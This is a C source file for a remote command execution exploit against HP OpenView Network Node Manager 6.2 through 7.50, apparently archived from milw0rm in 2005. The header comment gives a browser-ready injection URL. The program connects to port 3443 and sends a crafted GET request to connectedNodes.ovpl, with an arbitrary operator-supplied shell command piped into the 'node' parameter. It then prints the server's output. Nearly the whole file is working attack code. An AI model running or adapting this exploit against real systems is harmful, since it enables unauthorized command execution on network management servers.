Repository navigation
Expand file tree
/
Copy path1188.c
More file actions
executable file
·147 lines (121 loc) · 3.98 KB
/
Copy path1188.c
File metadata and controls
executable file
·147 lines (121 loc) · 3.98 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
/*
Web Browser info:
/OvCgi/connectedNodes.ovpl?node=a|command|
/str0ke
*/
/*
##################################################################################
# HP OpenView Network Node Manager 6.2, 6.4, 7.01, 7.50 Remote Command Execution #
##################################################################################
Name: HP OV NNM Remote Command Execution Exploit
File: HP_OV_NNM_RCE.c
Description: Exploit
Author: Lympex
Contact:
+ Web: http://l-bytes.net
+ Mail: lympex[at]gmail[dot]com
Date: 30/08/2005
Extra: Compiled with Visual C++ 6.0
############################################################################
#SecurityTracker Alert ID: 1014791 #
#SecurityTracker URL: http://securitytracker.com/id?1014791 #
#CVE Reference: GENERIC-MAP-NOMATCH #
#Updated: Aug 25 2005 #
#Original Entry Date: Aug 25 2005 #
#Impact: Execution of arbitrary code via network, User access via network #
############################################################################
*/
//headers
#include <stdio.h>//In/Out
#include <winsock2.h>//sockets functions
#include <stdlib.h>//memory functions
#include <string.h>//strlen,strcat,strcpy
#pragma comment(lib,"ws2_32.lib") //for compile with dev-c++ link to "libws2_32.lib"
#define Port 3443 //port for connect to HP OV NNM
#define SIZE 2048 //buffer size to receive the data
/*connect host:port*/
SOCKET Conecta(char *Host, short puerto)
{
/*struct for make the socket*/
WSADATA wsaData;
SOCKET Winsock;//listener socket
/*two structures for connect*/
struct sockaddr_in Winsock_In;
struct hostent *Ip;
/*start the socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*make*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
//check socket status
if(Winsock==INVALID_SOCKET)
{
/*exit*/
WSACleanup();
return -1;
}
/*complete the struct*/
Ip=gethostbyname(Host);
Winsock_In.sin_port=htons(puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));
/*connect*/
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
/*end*/
WSACleanup();
return -1;
}
return Winsock;
}
/*MASTER FUNCTION*/
int main(int argc, char *argv[])
{
/*the socket*/
SOCKET sock;
/*make the evil buffer to send the request*/
char evil_request[]="GET /OvCgi/connectedNodes.ovpl?node=a| ";
char evil_request2[]=" |";
char *evil;
/*to receive the data*/
char buf[SIZE];
unsigned int i;
printf("\n +[ HP OV NNM Remote Command Execution ]+ by Lympex");
printf("\nContact: lympex[at]gmail[dot]com & http://l-bytes.net");
printf("\n-----------------------------------------------------\n");
if(argc!=3)//HP_OV_NNM_RCE <host> <command>
{
printf("\n[+] Usage: %s <host> <command>",argv[0]);
printf("\nImportant: Do not include \x22<\x22 and \x22>\x22 chars\n");
return 0;
}
for(i=0;i<strlen(argv[2]);i++)
{
if(argv[2][i]=='<' || argv[2][i]=='>')
{
printf("\n[!] Error - You have included \x22<\x22 and/or \x22>\x22 chars\n");
return 1;
}
}
printf("\n[+] Connecting %s:%d...",argv[1],Port);
/*start the exploit*/
sock=Conecta(argv[1],Port);//connect
if(sock==-1)
{
printf("Error\n");
return 1;
}
printf("OK");
/*make the EVIL request*/
evil=(char *) malloc((strlen(argv[2])+24+12)*sizeof(char));
strcpy(evil,evil_request);strcat(evil,argv[2]);strcat(evil,evil_request2);strcat(evil,"\n\n");
//sends it
send(sock,evil,strlen(evil),0);
buf[recv(sock,buf,SIZE,0)]='\0';
//show the data
printf("\n\n------- [Result] -------\n\n%s\n------- [/Result] -------\n",buf);
WSACleanup();
LocalFree(buf);
LocalFree(evil);
return 0;
}
// milw0rm.com [2005-08-30]